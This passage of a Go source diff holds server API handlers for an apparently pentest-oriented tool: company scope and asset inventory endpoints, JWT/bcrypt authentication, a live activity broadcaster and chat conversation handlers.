t.Cleanup(func() { _ = pg.ToggleSkillVisibility(ag.ID, skillName, false) })
|
||||
|
||||
// after: the Skill meta-tool is packed in
|
||||
extra, _, cleanup = agent.ToolAugment(context.Background(), "planner")
|
||||
defer cleanup()
|
||||
if !hasSkillTool(extra) {
|
||||
t.Fatalf("expected the Skill meta-tool after making the skill visible")
|
||||
}
|
||||
|
||||
// AugmentTools appends extra to base without filtering base
|
||||
combined, _, c2 := agent.AugmentTools(context.Background(), "planner", nil)
|
||||
defer c2()
|
||||
if !hasSkillTool(combined) {
|
||||
t.Fatalf("AugmentTools should surface the Skill meta-tool")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,426 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// assetStore returns the asset store.
|
||||
func (s *Server) assetStore() *db.AssetStore {
|
||||
if s.m.pg == nil {
|
||||
return nil
|
||||
}
|
||||
return s.m.pg.Assets()
|
||||
}
|
||||
|
||||
// companyStore returns the company store.
|
||||
func (s *Server) companyStore() *db.CompanyStore {
|
||||
if s.m.pg == nil {
|
||||
return nil
|
||||
}
|
||||
return s.m.pg.Companies()
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// GET /api/companies
|
||||
// =====================================================================
|
||||
|
||||
func (s *Server) listCompanies(w http.ResponseWriter, r *http.Request) {
|
||||
cs := s.companyStore()
|
||||
if cs == nil {
|
||||
writeErr(w, 503, "database unavailable")
|
||||
return
|
||||
}
|
||||
companies, err := cs.ListCompanies()
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, companies)
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// POST /api/companies
|
||||
// =====================================================================
|
||||
|
||||
func (s *Server) createCompany(w http.ResponseWriter, r *http.Request) {
|
||||
cs := s.companyStore()
|
||||
if cs == nil {
|
||||
writeErr(w, 503, "database unavailable")
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
Name string `json:"name"`
|
||||
Logo string `json:"logo"`
|
||||
Scope []string `json:"scope"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeErr(w, 400, "invalid JSON: "+err.Error())
|
||||
return
|
||||
}
|
||||
if req.Name == "" {
|
||||
writeErr(w, 400, "name required")
|
||||
return
|
||||
}
|
||||
id, created, err := cs.UpsertCompany(req.Name, req.Logo)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
out := map[string]any{"id": id, "created": created}
|
||||
if len(req.Scope) > 0 {
|
||||
added, skipped, invalid, errs := cs.AddScope(id, req.Scope, "api")
|
||||
out["scope_added"] = added
|
||||
out["scope_skipped"] = skipped
|
||||
out["scope_invalid"] = invalid
|
||||
if len(errs) > 0 {
|
||||
out["scope_errors"] = errs
|
||||
}
|
||||
}
|
||||
writeJSON(w, 201, out)
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// GET /api/companies/{id}
|
||||
// =====================================================================
|
||||
|
||||
func (s *Server) getCompany(w http.ResponseWriter, r *http.Request) {
|
||||
cs := s.companyStore()
|
||||
if cs == nil {
|
||||
writeErr(w, 503, "database unavailable")
|
||||
return
|
||||
}
|
||||
id, err := strconv.ParseInt(r.PathValue("id"), 10, 64)
|
||||
if err != nil {
|
||||
writeErr(w, 400, "invalid id")
|
||||
return
|
||||
}
|
||||
c, err := cs.GetCompany(id)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
if c == nil {
|
||||
writeErr(w, 404, "company not found")
|
||||
return
|
||||
}
|
||||
scope, err := cs.GetScope(id)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"company": c, "scope": scope})
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// POST /api/companies/{id}/scope
|
||||
// =====================================================================
|
||||
|
||||
func (s *Server) addCompanyScope(w http.ResponseWriter, r *http.Request) {
|
||||
cs := s.companyStore()
|
||||
if cs == nil {
|
||||
writeErr(w, 503, "database unavailable")
|
||||
return
|
||||
}
|
||||
id, err := strconv.ParseInt(r.PathValue("id"), 10, 64)
|
||||
if err != nil {
|
||||
writeErr(w, 400, "invalid company id")
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
Scope []string `json:"scope"`
|
||||
Reason string `json:"reason"`
|
||||
Reset bool `json:"reset"` // if true, replace existing scope
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeErr(w, 400, "invalid JSON: "+err.Error())
|
||||
return
|
||||
}
|
||||
var added, skipped, invalid int
|
||||
var errs []string
|
||||
if req.Reset {
|
||||
added, invalid, errs = cs.UpdateScope(id, req.Scope, req.Reason)
|
||||
} else {
|
||||
added, skipped, invalid, errs = cs.AddScope(id, req.Scope, req.Reason)
|
||||
}
|
||||
out := map[string]any{
|
||||
"added": added,
|
||||
"skipped": skipped,
|
||||
"invalid": invalid,
|
||||
}
|
||||
if len(errs) > 0 {
|
||||
out["errors"] = errs
|
||||
}
|
||||
writeJSON(w, 200, out)
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// DELETE /api/companies/{id}
|
||||
// =====================================================================
|
||||
|
||||
func (s *Server) deleteCompany(w http.ResponseWriter, r *http.Request) {
|
||||
cs := s.companyStore()
|
||||
if cs == nil {
|
||||
writeErr(w, 503, "database unavailable")
|
||||
return
|
||||
}
|
||||
id, err := strconv.ParseInt(r.PathValue("id"), 10, 64)
|
||||
if err != nil {
|
||||
writeErr(w, 400, "invalid id")
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
DeleteAssets bool `json:"delete_assets"`
|
||||
}
|
||||
// Body is optional; ignore decode errors (e.g. empty body).
|
||||
_ = json.NewDecoder(r.Body).Decode(&req)
|
||||
|
||||
assetsDeleted := int64(0)
|
||||
if req.DeleteAssets {
|
||||
as := s.assetStore()
|
||||
if as != nil {
|
||||
assetsDeleted, err = as.DeleteByCompanyID(id)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
if err := cs.DeleteCompany(id); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"deleted": 1, "assets_deleted": assetsDeleted})
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// POST /api/companies/reattribute
|
||||
// =====================================================================
|
||||
|
||||
func (s *Server) reattribute(w http.ResponseWriter, r *http.Request) {
|
||||
cs := s.companyStore()
|
||||
if cs == nil {
|
||||
writeErr(w, 503, "database unavailable")
|
||||
return
|
||||
}
|
||||
if err := cs.RecomputeAttribution(); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// GET /api/assets
|
||||
// =====================================================================
|
||||
|
||||
func (s *Server) listAssets(w http.ResponseWriter, r *http.Request) {
|
||||
as := s.assetStore()
|
||||
if as == nil {
|
||||
writeErr(w, 503, "database unavailable")
|
||||
return
|
||||
}
|
||||
q := r.URL.Query()
|
||||
typ := q.Get("type")
|
||||
limit, _ := strconv.Atoi(q.Get("limit"))
|
||||
offset, _ := strconv.Atoi(q.Get("offset"))
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
|
||||
var assets []*db.Asset
|
||||
var err error
|
||||
// total is the full match count ignoring limit/offset — lets the UI paginate on
|
||||
// the server. For company/task scopes it falls back to the returned length.
|
||||
total := 0
|
||||
|
||||
if dsl := q.Get("dsl"); dsl != "" {
|
||||
assets, err = as.QueryDSL(dsl, typ, limit, offset)
|
||||
if err == nil {
|
||||
total, _ = as.CountDSL(dsl, typ)
|
||||
}
|
||||
} else {
|
||||
companyID, _ := strconv.ParseInt(q.Get("company_id"), 10, 64)
|
||||
taskID, _ := strconv.ParseInt(q.Get("task_id"), 10, 64)
|
||||
switch {
|
||||
case companyID > 0:
|
||||
assets, err = as.QueryByCompany(companyID, typ, limit)
|
||||
total = len(assets)
|
||||
case taskID > 0:
|
||||
assets, err = as.QueryByTask(taskID, typ, limit)
|
||||
total = len(assets)
|
||||
default:
|
||||
if typ == "" {
|
||||
typ = "root_domain"
|
||||
}
|
||||
assets, err = as.QueryByType(typ, limit, offset)
|
||||
if err == nil {
|
||||
total, _ = as.CountByType(typ)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{
|
||||
"count": len(assets),
|
||||
"total": total,
|
||||
"assets": assets,
|
||||
})
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// GET /api/assets/counts
|
||||
// =====================================================================
|
||||
|
||||
func (s *Server) assetCounts(w http.ResponseWriter, r *http.Request) {
|
||||
as := s.assetStore()
|
||||
if as == nil {
|
||||
writeErr(w, 503, "database unavailable")
|
||||
return
|
||||
}
|
||||
counts, err := as.CountsByType()
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, counts)
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// DELETE /api/assets
|
||||
// =====================================================================
|
||||
|
||||
func (s *Server) deleteAssets(w http.ResponseWriter, r *http.Request) {
|
||||
as := s.assetStore()
|
||||
if as == nil {
|
||||
writeErr(w, 503, "database unavailable")
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
IDs []int64 `json:"ids"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeErr(w, 400, "invalid JSON: "+err.Error())
|
||||
return
|
||||
}
|
||||
if len(req.IDs) == 0 {
|
||||
writeErr(w, 400, "ids required")
|
||||
return
|
||||
}
|
||||
deleted, err := as.DeleteByIDs(req.IDs)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"deleted": deleted})
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// POST /api/assets
|
||||
// =====================================================================
|
||||
|
||||
func (s *Server) insertAssets(w http.ResponseWriter, r *http.Request) {
|
||||
as := s.assetStore()
|
||||
if as == nil {
|
||||
writeErr(w, 503, "database unavailable")
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
TaskID int64 `json:"task_id"`
|
||||
Assets []struct {
|
||||
Type string `json:"type"`
|
||||
// root_domain / subdomain
|
||||
Domain string `json:"domain"`
|
||||
ICP string `json:"icp"`
|
||||
RecordType string `json:"record_type"`
|
||||
RecordValue []string `json:"record_value"`
|
||||
// ip
|
||||
IP string `json:"ip"`
|
||||
BoundDomains []string `json:"bound_domains"`
|
||||
OpenPorts []db.PortService `json:"open_ports"`
|
||||
// app
|
||||
AppName string `json:"app_name"`
|
||||
BundleID string `json:"bundle_id"`
|
||||
Category string `json:"category"`
|
||||
Description string `json:"description"`
|
||||
AppICP string `json:"app_icp"`
|
||||
// service http
|
||||
URL string `json:"url"`
|
||||
Technologies []string `json:"technologies"`
|
||||
StatusCode *int `json:"status_code"`
|
||||
ContentLength *int64 `json:"content_length"`
|
||||
PageTitle string `json:"page_title"`
|
||||
FaviconMMH3 string `json:"favicon_mmh3"`
|
||||
Auth []map[string]any `json:"auth"`
|
||||
ServiceIP string `json:"service_ip"`
|
||||
// service other
|
||||
Port int `json:"port"`
|
||||
ServiceName string `json:"service_name"`
|
||||
// endpoint
|
||||
Method string `json:"method"`
|
||||
Params []map[string]any `json:"params"`
|
||||
} `json:"assets"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeErr(w, 400, "invalid JSON: "+err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
type result struct {
|
||||
Index int `json:"index"`
|
||||
ID int64 `json:"id"`
|
||||
Type string `json:"type"`
|
||||
}
|
||||
type errEntry struct {
|
||||
Index int `json:"index"`
|
||||
Error string `json:"error"`
|
||||
}
|
||||
var results []result
|
||||
var errs []errEntry
|
||||
|
||||
for i, a := range req.Assets {
|
||||
var id int64
|
||||
var err error
|
||||
switch a.Type {
|
||||
case "root_domain":
|
||||
id, err = as.UpsertRootDomain(db.UpsertRootDomainReq{Domain: a.Domain, ICP: a.ICP, TaskID: req.TaskID})
|
||||
case "ip":
|
||||
id, err = as.UpsertIP(db.UpsertIPReq{IP: a.IP, BoundDomains: a.BoundDomains, OpenPorts: a.OpenPorts, TaskID: req.TaskID})
|
||||
case "subdomain":
|
||||
id, err = as.UpsertSubdomain(db.UpsertSubdomainReq{Domain: a.Domain, RecordType: a.RecordType, RecordValue: a.RecordValue, ICP: a.ICP, TaskID: req.TaskID})
|
||||
case "app":
|
||||
id, err = as.UpsertApp(db.UpsertAppReq{Name: a.AppName, BundleID: a.BundleID, Category: a.Category, Description: a.Description, ICP: a.AppICP, TaskID: req.TaskID})
|
||||
case "service":
|
||||
if a.URL != "" {
|
||||
svcIP := a.ServiceIP
|
||||
if svcIP == "" {
|
||||
svcIP = a.IP
|
||||
}
|
||||
id, err = as.UpsertHTTPService(db.UpsertHTTPServiceReq{URL: a.URL, Technologies: a.Technologies, StatusCode: a.StatusCode, ContentLength: a.ContentLength, PageTitle: a.PageTitle, FaviconMMH3: a.FaviconMMH3, Auth: a.Auth, IP: svcIP, TaskID: req.TaskID})
|
||||
} else {
|
||||
id, err = as.UpsertOtherService(db.UpsertOtherServiceReq{Domain: a.Domain, IP: a.IP, Port: a.Port, ServiceName: a.ServiceName, Auth: a.Auth, TaskID: req.TaskID})
|
||||
}
|
||||
case "endpoint":
|
||||
svcIP := a.ServiceIP
|
||||
if svcIP == "" {
|
||||
svcIP = a.IP
|
||||
}
|
||||
id, err = as.UpsertEndpoint(db.UpsertEndpointReq{URL: a.URL, Method: a.Method, Params: a.Params, IP: svcIP, TaskID: req.TaskID})
|
||||
default:
|
||||
errs = append(errs, errEntry{Index: i, Error: "unknown type: " + a.Type})
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
errs = append(errs, errEntry{Index: i, Error: err.Error()})
|
||||
continue
|
||||
}
|
||||
results = append(results, result{Index: i, ID: id, Type: a.Type})
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"results": results, "errors": errs})
|
||||
}
|
||||
+224
@@ -0,0 +1,224 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
"log"
|
||||
"math/big"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/golang-jwt/jwt/v5"
|
||||
"golang.org/x/crypto/bcrypt"
|
||||
)
|
||||
|
||||
const (
|
||||
jwtKeyFilename = "jwt.key"
|
||||
authPassKey = "auth.password_hash"
|
||||
jwtTTL = 7 * 24 * time.Hour
|
||||
keyChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
)
|
||||
|
||||
// loadOrCreateJWTKey reads the 32-byte signing key from dataDir/jwt.key.
|
||||
// On first run it generates a cryptographically random key and persists it.
|
||||
func loadOrCreateJWTKey(dataDir string) ([]byte, error) {
|
||||
path := filepath.Join(dataDir, jwtKeyFilename)
|
||||
if data, err := os.ReadFile(path); err == nil && len(strings.TrimSpace(string(data))) >= 32 {
|
||||
return []byte(strings.TrimSpace(string(data))), nil
|
||||
}
|
||||
buf := make([]byte, 32)
|
||||
for i := range buf {
|
||||
n, err := rand.Int(rand.Reader, big.NewInt(int64(len(keyChars))))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generate jwt key: %w", err)
|
||||
}
|
||||
buf[i] = keyChars[n.Int64()]
|
||||
}
|
||||
if err := os.WriteFile(path, buf, 0600); err != nil {
|
||||
return nil, fmt.Errorf("write jwt key: %w", err)
|
||||
}
|
||||
log.Printf("[auth] 新 JWT key 已写入 %s", path)
|
||||
return buf, nil
|
||||
}
|
||||
|
||||
// signJWT issues a 7-day HS256 token for user ARTEX.
|
||||
func signJWT(key []byte) (string, error) {
|
||||
return jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.RegisteredClaims{
|
||||
Subject: "ARTEX",
|
||||
ExpiresAt: jwt.NewNumericDate(time.Now().Add(jwtTTL)),
|
||||
IssuedAt: jwt.NewNumericDate(time.Now()),
|
||||
}).SignedString(key)
|
||||
}
|
||||
|
||||
// verifyJWT returns true when tokenStr is a valid, non-expired HS256 token.
|
||||
func verifyJWT(tokenStr string, key []byte) bool {
|
||||
t, err := jwt.Parse(tokenStr, func(t *jwt.Token) (any, error) {
|
||||
if _, ok := t.Method.(*jwt.SigningMethodHMAC); !ok {
|
||||
return nil, fmt.Errorf("unexpected signing method")
|
||||
}
|
||||
return key, nil
|
||||
})
|
||||
return err == nil && t.Valid
|
||||
}
|
||||
|
||||
// extractToken reads the JWT from Authorization: Bearer header,
|
||||
// artex_token cookie, or ?token= query param (for SSE connections).
|
||||
func extractToken(r *http.Request) string {
|
||||
if h := r.Header.Get("Authorization"); strings.HasPrefix(h, "Bearer ") {
|
||||
return strings.TrimPrefix(h, "Bearer ")
|
||||
}
|
||||
if c, err := r.Cookie("artex_token"); err == nil && c.Value != "" {
|
||||
return c.Value
|
||||
}
|
||||
return r.URL.Query().Get("token")
|
||||
}
|
||||
|
||||
// requireAuth wraps h with JWT validation.
|
||||
// /api/auth/* and /api/health are exempt.
|
||||
func (s *Server) requireAuth(h http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
p := r.URL.Path
|
||||
if strings.HasPrefix(p, "/api/auth/") || p == "/api/health" {
|
||||
h.ServeHTTP(w, r)
|
||||
return
|
||||
}
|
||||
tok := extractToken(r)
|
||||
if tok == "" {
|
||||
writeErr(w, 401, "未授权")
|
||||
return
|
||||
}
|
||||
if !verifyJWT(tok, s.jwtKey) {
|
||||
writeErr(w, 401, "token 无效或已过期")
|
||||
return
|
||||
}
|
||||
h.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
// GET /api/auth/status — reports whether the admin password has been initialised.
|
||||
func (s *Server) authStatus(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
hash, _, _ := pg.GetSetting(authPassKey)
|
||||
writeJSON(w, 200, map[string]any{"initialized": hash != ""})
|
||||
}
|
||||
|
||||
// POST /api/auth/init — sets the password for the first time; rejected if already set.
|
||||
func (s *Server) authInit(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
existing, _, _ := pg.GetSetting(authPassKey)
|
||||
if existing != "" {
|
||||
writeErr(w, 403, "密码已设置")
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
Password string `json:"password"`
|
||||
}
|
||||
if err := decode(r, &req); err != nil || req.Password == "" {
|
||||
writeErr(w, 400, "密码不能为空")
|
||||
return
|
||||
}
|
||||
hash, err := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
|
||||
if err != nil {
|
||||
writeErr(w, 500, "密码加密失败")
|
||||
return
|
||||
}
|
||||
if err := pg.SetSetting(authPassKey, string(hash)); err != nil {
|
||||
writeErr(w, 500, "保存失败: "+err.Error())
|
||||
return
|
||||
}
|
||||
tok, err := signJWT(s.jwtKey)
|
||||
if err != nil {
|
||||
writeErr(w, 500, "token 生成失败")
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"token": tok})
|
||||
}
|
||||
|
||||
// POST /api/auth/change-password — changes the admin password. Requires a valid
|
||||
// token (this route is under /api/auth/* which requireAuth exempts, so the token
|
||||
// is validated here) AND the current password.
|
||||
func (s *Server) authChangePassword(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
if !verifyJWT(extractToken(r), s.jwtKey) {
|
||||
writeErr(w, 401, "未授权")
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
OldPassword string `json:"old_password"`
|
||||
NewPassword string `json:"new_password"`
|
||||
}
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, "请求格式错误")
|
||||
return
|
||||
}
|
||||
if req.NewPassword == "" {
|
||||
writeErr(w, 400, "新密码不能为空")
|
||||
return
|
||||
}
|
||||
hash, ok, _ := pg.GetSetting(authPassKey)
|
||||
if !ok || hash == "" {
|
||||
writeErr(w, 403, "密码未初始化，请先设置密码")
|
||||
return
|
||||
}
|
||||
if err := bcrypt.CompareHashAndPassword([]byte(hash), []byte(req.OldPassword)); err != nil {
|
||||
writeErr(w, 401, "当前密码错误")
|
||||
return
|
||||
}
|
||||
newHash, err := bcrypt.GenerateFromPassword([]byte(req.NewPassword), bcrypt.DefaultCost)
|
||||
if err != nil {
|
||||
writeErr(w, 500, "密码加密失败")
|
||||
return
|
||||
}
|
||||
if err := pg.SetSetting(authPassKey, string(newHash)); err != nil {
|
||||
writeErr(w, 500, "保存失败: "+err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// POST /api/auth/login — validates username/password and returns a JWT.
|
||||
func (s *Server) authLogin(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, "请求格式错误")
|
||||
return
|
||||
}
|
||||
if req.Username != "ARTEX" {
|
||||
writeErr(w, 401, "用户名或密码错误")
|
||||
return
|
||||
}
|
||||
hash, ok, _ := pg.GetSetting(authPassKey)
|
||||
if !ok || hash == "" {
|
||||
writeErr(w, 403, "密码未初始化，请先设置密码")
|
||||
return
|
||||
}
|
||||
if err := bcrypt.CompareHashAndPassword([]byte(hash), []byte(req.Password)); err != nil {
|
||||
writeErr(w, 401, "用户名或密码错误")
|
||||
return
|
||||
}
|
||||
tok, err := signJWT(s.jwtKey)
|
||||
if err != nil {
|
||||
writeErr(w, 500, "token 生成失败")
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"token": tok})
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// Broadcaster is a per-task in-process pub/sub for live activity events. The
|
||||
// engine publishes each appended activity at its single emit point; SSE handlers
|
||||
// subscribe per task. Storage (activity table) and the live stream come from the
|
||||
// same Publish call, so they never diverge.
|
||||
type Broadcaster struct {
|
||||
mu sync.Mutex
|
||||
subs map[string]map[chan db.Activity]struct{} // task id -> set of subscriber channels
|
||||
}
|
||||
|
||||
func NewBroadcaster() *Broadcaster {
|
||||
return &Broadcaster{subs: map[string]map[chan db.Activity]struct{}{}}
|
||||
}
|
||||
|
||||
// Subscribe returns a buffered channel of activities for a task plus an
|
||||
// unsubscribe func the caller must invoke (defer) to release it.
|
||||
func (b *Broadcaster) Subscribe(task string) (<-chan db.Activity, func()) {
|
||||
ch := make(chan db.Activity, 256)
|
||||
b.mu.Lock()
|
||||
if b.subs[task] == nil {
|
||||
b.subs[task] = map[chan db.Activity]struct{}{}
|
||||
}
|
||||
b.subs[task][ch] = struct{}{}
|
||||
b.mu.Unlock()
|
||||
|
||||
var once sync.Once
|
||||
return ch, func() {
|
||||
once.Do(func() {
|
||||
b.mu.Lock()
|
||||
if m := b.subs[task]; m != nil {
|
||||
delete(m, ch)
|
||||
if len(m) == 0 {
|
||||
delete(b.subs, task)
|
||||
}
|
||||
}
|
||||
b.mu.Unlock()
|
||||
close(ch)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Publish fans an activity out to all subscribers of a task. Non-blocking: if a
|
||||
// subscriber's buffer is full the event is dropped — the client reconnects with
|
||||
// its last seq cursor and catches up the gap from the DB, so liveness never
|
||||
// stalls the engine.
|
||||
func (b *Broadcaster) Publish(task string, a db.Activity) {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
for ch := range b.subs[task] {
|
||||
select {
|
||||
case ch <- a:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,450 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/intercept"
|
||||
)
|
||||
|
||||
// ---------- conversations (chat page) ----------
|
||||
//
|
||||
// A conversation is a ChatGPT-style thread bound to an agent key, independent of
|
||||
// the pentest task graph. Turns run on ChatAgent; steps persist to
|
||||
// conversation_activities and the browser POLLS ?since=cursor for live updates
|
||||
// (no per-conversation SSE broadcaster needed).
|
||||
|
||||
func (s *Server) pgListConversations(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
cs, err := pg.ListConversations()
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"conversations": cs})
|
||||
}
|
||||
|
||||
func (s *Server) pgCreateConversation(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
AgentKey string `json:"agent_key"`
|
||||
Title string `json:"title"`
|
||||
LLMProfileID *int64 `json:"llm_profile_id"`
|
||||
}
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
req.AgentKey = strings.TrimSpace(req.AgentKey)
|
||||
if req.AgentKey == "" {
|
||||
writeErr(w, 400, "agent_key 不能为空")
|
||||
return
|
||||
}
|
||||
a, err := pg.GetAgentByKey(req.AgentKey)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
if a == nil {
|
||||
writeErr(w, 404, "agent 不存在")
|
||||
return
|
||||
}
|
||||
if req.LLMProfileID != nil {
|
||||
if _, ok := s.loadProfileConfig(*req.LLMProfileID); !ok {
|
||||
writeErr(w, 400, "指定的 LLM 配置不存在或未设置 API Key")
|
||||
return
|
||||
}
|
||||
}
|
||||
title := strings.TrimSpace(req.Title)
|
||||
if title == "" {
|
||||
title = "新对话"
|
||||
}
|
||||
c, err := pg.CreateConversation(req.AgentKey, title, req.LLMProfileID)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, c)
|
||||
}
|
||||
|
||||
func (s *Server) pgUpdateConversation(w http.ResponseWriter, r *http.Request) {
|
||||
pg, c, ok := s.convByID(w, r)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
LLMProfileID *int64 `json:"llm_profile_id"` // null clears the override
|
||||
}
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
if req.LLMProfileID != nil {
|
||||
if _, ok := s.loadProfileConfig(*req.LLMProfileID); !ok {
|
||||
writeErr(w, 400, "指定的 LLM 配置不存在或未设置 API Key")
|
||||
return
|
||||
}
|
||||
}
|
||||
if err := pg.UpdateConversationProfile(c.ID, req.LLMProfileID); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// convByID resolves the {id} path value to a conversation (404 if absent).
|
||||
func (s *Server) convByID(w http.ResponseWriter, r *http.Request) (*db.DB, *db.Conversation, bool) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return nil, nil, false
|
||||
}
|
||||
id, ok := pathInt(r, "id")
|
||||
if !ok {
|
||||
writeErr(w, 400, "bad conversation id")
|
||||
return nil, nil, false
|
||||
}
|
||||
c, err := pg.GetConversation(id)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return nil, nil, false
|
||||
}
|
||||
if c == nil {
|
||||
writeErr(w, 404, "conversation not found")
|
||||
return nil, nil, false
|
||||
}
|
||||
return pg, c, true
|
||||
}
|
||||
|
||||
func (s *Server) pgRenameConversation(w http.ResponseWriter, r *http.Request) {
|
||||
pg, c, ok := s.convByID(w, r)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var req struct{ Title string }
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
title := strings.TrimSpace(req.Title)
|
||||
if title == "" {
|
||||
writeErr(w, 400, "标题不能为空")
|
||||
return
|
||||
}
|
||||
if err := pg.RenameConversation(c.ID, title); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
func (s *Server) pgDeleteConversation(w http.ResponseWriter, r *http.Request) {
|
||||
pg, c, ok := s.convByID(w, r)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
